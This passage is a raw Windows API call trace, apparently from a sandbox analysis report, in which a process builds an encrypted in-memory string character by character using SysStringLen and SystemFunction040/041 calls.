Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.955] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x2b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.956] SysStringLen (param_1="") returned 0x8 [0135.956] SysStringLen (param_1="K") returned 0x8 [0135.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.956] SysStringLen (param_1="\x6aba\xacb0\x5f0f\x49cf\x716b\x8df7\x31e\xa833") returned 0x8 [0135.956] SysStringLen (param_1="\x6aba\xacb0\x5f0f\x49cf\x716b\x8df7\x31e\xa833") returned 0x8 [0135.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.956] SysStringLen (param_1="KF") returned 0x8 [0135.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.956] SysStringLen (param_1="\xc6eb\x68e8\x1f89\x475c\xefa6\xd25e\xa5c7\x4193") returned 0x8 [0135.956] SysStringLen (param_1="\xc6eb\x68e8\x1f89\x475c\xefa6\xd25e\xa5c7\x4193") returned 0x8 [0135.956] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.956] SysStringLen (param_1="KFv") returned 0x8 [0135.956] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="ᩗ樤颹覄鿳殱裣螮") returned 0x8 [0135.957] SysStringLen (param_1="ᩗ樤颹覄鿳殱裣螮") returned 0x8 [0135.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="KFvw") returned 0x8 [0135.957] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="\x289c\xffb7\xbed4\xeceb\xfda\x4858\x87df\xbcb8") returned 0x8 [0135.957] SysStringLen (param_1="\x289c\xffb7\xbed4\xeceb\xfda\x4858\x87df\xbcb8") returned 0x8 [0135.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="KFvwk") returned 0x8 [0135.957] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="\x1948\x25bb\xe934\x33b5\x3f12\x8b33\x2515\xbfa2") returned 0x8 [0135.957] SysStringLen (param_1="\x1948\x25bb\xe934\x33b5\x3f12\x8b33\x2515\xbfa2") returned 0x8 [0135.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="KFvwkj") returned 0x8 [0135.957] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.957] SysStringLen (param_1="\xef28\x63c5\xa3c9\xc6f8\x8b0e\x3948\x65d3\xc173") returned 0x8 [0135.957] SysStringLen (param_1="\xef28\x63c5\xa3c9\xc6f8\x8b0e\x3948\x65d3\xc173") returned 0x8 [0135.957] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.958] SysStringLen (param_1="KFvwkjB") returned 0x8 [0135.958] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.958] SysStringLen (param_1="\x1253\xd6be\x5a54\x7138\x4482\x46d6\xa5fc\x541c") returned 0x8 [0135.958] SysStringLen (param_1="\x1253\xd6be\x5a54\x7138\x4482\x46d6\xa5fc\x541c") returned 0x8 [0135.958] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.958] SysStringLen (param_1="KFvwkjB7") returned 0x8 [0135.958] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede") returned 0x8 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede") returned 0x8 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede") returned 0x8 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede") returned 0x10 [0135.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.958] SysStringLen (param_1="KFvwkjB7Zﴨ俜刾更⪖") returned 0x10 [0135.958] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x2683\x22c5\xf7b6\xcdff\xd6e0\xdf7b\x4b50\xade8") returned 0x10 [0135.958] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x2683\x22c5\xf7b6\xcdff\xd6e0\xdf7b\x4b50\xade8") returned 0x10 [0135.958] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.958] SysStringLen (param_1="KFvwkjB7Z6俜刾更⪖") returned 0x10 [0135.959] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x876a\xb096\x5b07\x8114\xdc40\xbd72\xdb43\xc94") returned 0x10 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x876a\xb096\x5b07\x8114\xdc40\xbd72\xdb43\xc94") returned 0x10 [0135.959] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="KFvwkjB7Z6Q刾更⪖") returned 0x10 [0135.959] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x75ed\xca87\x3dc\x62d3\x7e90\x9651\x22a9\x17c2") returned 0x10 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x75ed\xca87\x3dc\x62d3\x7e90\x9651\x22a9\x17c2") returned 0x10 [0135.959] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="KFvwkjB7Z6QB更⪖") returned 0x10 [0135.959] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x448a\x9e2d\xae0d\x438f\x7e28\x694c\xef36\x546d") returned 0x10 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x448a\x9e2d\xae0d\x438f\x7e28\x694c\xef36\x546d") returned 0x10 [0135.959] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="KFvwkjB7Z6QBg更⪖") returned 0x10 [0135.959] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x6722\x3d95\x526c\xd546\xe7b9\xdd9\x59b4\x87ff") returned 0x10 [0135.959] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x6722\x3d95\x526c\xd546\xe7b9\xdd9\x59b4\x87ff") returned 0x10 [0135.960] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="KFvwkjB7Z6QBg9⪖") returned 0x10 [0135.960] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x152d\xe265\x61c0\xf60\x6e43\xa4eb\x1c41\x696f") returned 0x10 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x152d\xe265\x61c0\xf60\x6e43\xa4eb\x1c41\x696f") returned 0x10 [0135.960] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="KFvwkjB7Z6QBg9c") returned 0x10 [0135.960] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x94a7\x167d\xcd2c\x174e\x2ef6\x633\x9b1c\x63ae") returned 0x10 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\x94a7\x167d\xcd2c\x174e\x2ef6\x633\x9b1c\x63ae") returned 0x10 [0135.960] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="KFvwkjB7Z6QBg9cG") returned 0x10 [0135.960] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e") returned 0x10 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e") returned 0x10 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e") returned 0x10 [0135.960] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e") returned 0x18 [0135.960] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY족뜒텥蕧瞅䫭") returned 0x18 [0135.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x1018\xb57b\xd7d3\x1c77\x514f\xa40\xc747\x3fa8") returned 0x18 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x1018\xb57b\xd7d3\x1c77\x514f\xa40\xc747\x3fa8") returned 0x18 [0135.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9뜒텥蕧瞅䫭") returned 0x18 [0135.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x87f7\x6a7e\x913f\x7844\x2d9f\x8950\x346e\xff45") returned 0x18 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x87f7\x6a7e\x913f\x7844\x2d9f\x8950\x346e\xff45") returned 0x18 [0135.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9l텥蕧瞅䫭") returned 0x18 [0135.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xfb67\x17cf\xbbaf\x208a\x7890\x1bba\x1949\xe591") returned 0x18 [0135.961] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xfb67\x17cf\xbbaf\x208a\x7890\x1bba\x1949\xe591") returned 0x18 [0135.961] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.961] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lI蕧瞅䫭") returned 0x18 [0135.961] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x502f\xb9fe\xaf0a\x1603\xa7c7\x162a\xf107\xe89a") returned 0x18 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x502f\xb9fe\xaf0a\x1603\xa7c7\x162a\xf107\xe89a") returned 0x18 [0135.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIz瞅䫭") returned 0x18 [0135.962] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x4ae\xe6e5\xd6cd\x361c\x60e4\x16e2\xbb3\xaaae") returned 0x18 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x4ae\xe6e5\xd6cd\x361c\x60e4\x16e2\xbb3\xaaae") returned 0x18 [0135.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzA瞅䫭") returned 0x18 [0135.962] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x3eac\x15aa\x5112\x1f66\x7b91\xaa13\x1a34\xa135") returned 0x18 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x3eac\x15aa\x5112\x1f66\x7b91\xaa13\x1a34\xa135") returned 0x18 [0135.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAA䫭") returned 0x18 [0135.962] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x7fb6\xb617\xf722\xc288\x485d\x4a8c\xb8bb\xe0ab") returned 0x18 [0135.962] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\x7fb6\xb617\xf722\xc288\x485d\x4a8c\xb8bb\xe0ab") returned 0x18 [0135.962] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.963] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJ") returned 0x18 [0135.963] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd") returned 0x18 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd") returned 0x18 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd") returned 0x18 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd") returned 0x20 [0135.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.963] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJt켍눂繹戌蹌촮") returned 0x20 [0135.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xf321\xa2e4\xaab0\xbff\x6d27\x243c\xf65f\xbc76") returned 0x20 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xf321\xa2e4\xaab0\xbff\x6d27\x243c\xf65f\xbc76") returned 0x20 [0135.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.963] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJte눂繹戌蹌촮") returned 0x20 [0135.963] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x4c65\xdbc7\x57fe\xc586\xe42f\xdff2\xde44\xec0c") returned 0x20 [0135.963] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x4c65\xdbc7\x57fe\xc586\xe42f\xdff2\xde44\xec0c") returned 0x20 [0135.963] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtel눂繹戌蹌촮") returned 0x20 [0135.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x7440\x3361\x6a56\x67a3\xc18c\x453a\xd68b\x5366") returned 0x20 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x7440\x3361\x6a56\x67a3\xc18c\x453a\xd68b\x5366") returned 0x20 [0135.964] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelu繹戌蹌촮") returned 0x20 [0135.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xe0f\x6211\x5f3f\xbb14\xaa28\x8892\x725\x7627") returned 0x20 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xe0f\x6211\x5f3f\xbb14\xaa28\x8892\x725\x7627") returned 0x20 [0135.964] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelum戌蹌촮") returned 0x20 [0135.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x2315\xfca6\xb204\x5110\xba7a\x179a\xdb30\x1adc") returned 0x20 [0135.964] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x2315\xfca6\xb204\x5110\xba7a\x179a\xdb30\x1adc") returned 0x20 [0135.964] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.964] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelume蹌촮") returned 0x20 [0135.964] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xcf63\xaf92\x36bb\xfd61\xa267\x8862\xf0c3\x461f") returned 0x20 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\xcf63\xaf92\x36bb\xfd61\xa267\x8862\xf0c3\x461f") returned 0x20 [0135.965] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.965] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel촮") returned 0x20 [0135.965] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x1870\x101d\xab13\xa1dc\xa16f\x5429\x854b\x17e9") returned 0x20 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x1870\x101d\xab13\xa1dc\xa16f\x5429\x854b\x17e9") returned 0x20 [0135.965] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.965] SysStringLen (param_1="KFvwkjB7Z6QBg9cGY9lIzAAJtelumel3") returned 0x20 [0135.965] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60") returned 0x20 [0135.965] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60") returned 0x20 [0135.966] SysStringLen (param_1="\x2420\xfd02\x3c94\x5338\x19e6\xed94\x6f6d\xdede\xb864\xc85b\xc45a\xd063\x41a7\xcb11\x327e\x7a3e\xa72a\xcf27\xabdb\xb304\xbab9\x7699\xcbb7\xfdfd\x9a6c\xe90b\x8b72\x83c0\x47e8\x85d8\xe126\xac60") returned 0x20 [0135.966] SysStringLen 